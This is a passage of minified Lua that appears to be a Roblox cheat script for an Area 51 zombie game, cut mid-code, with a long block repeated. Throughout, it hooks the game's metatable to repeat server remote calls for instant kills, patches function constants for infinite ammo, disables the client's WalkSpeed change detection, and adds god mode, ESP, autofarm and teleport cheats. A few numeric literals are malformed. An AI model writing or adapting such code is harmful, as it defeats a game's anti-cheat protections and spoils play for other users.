Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow","MG42","FreezeGunas"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(game:GetService("Workspace").AREA51[ag])wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(155382109,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)elseif game.PlaceId==3182083477 then local o="BloodTheme"local x=n.CreateLib("Extreme Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your 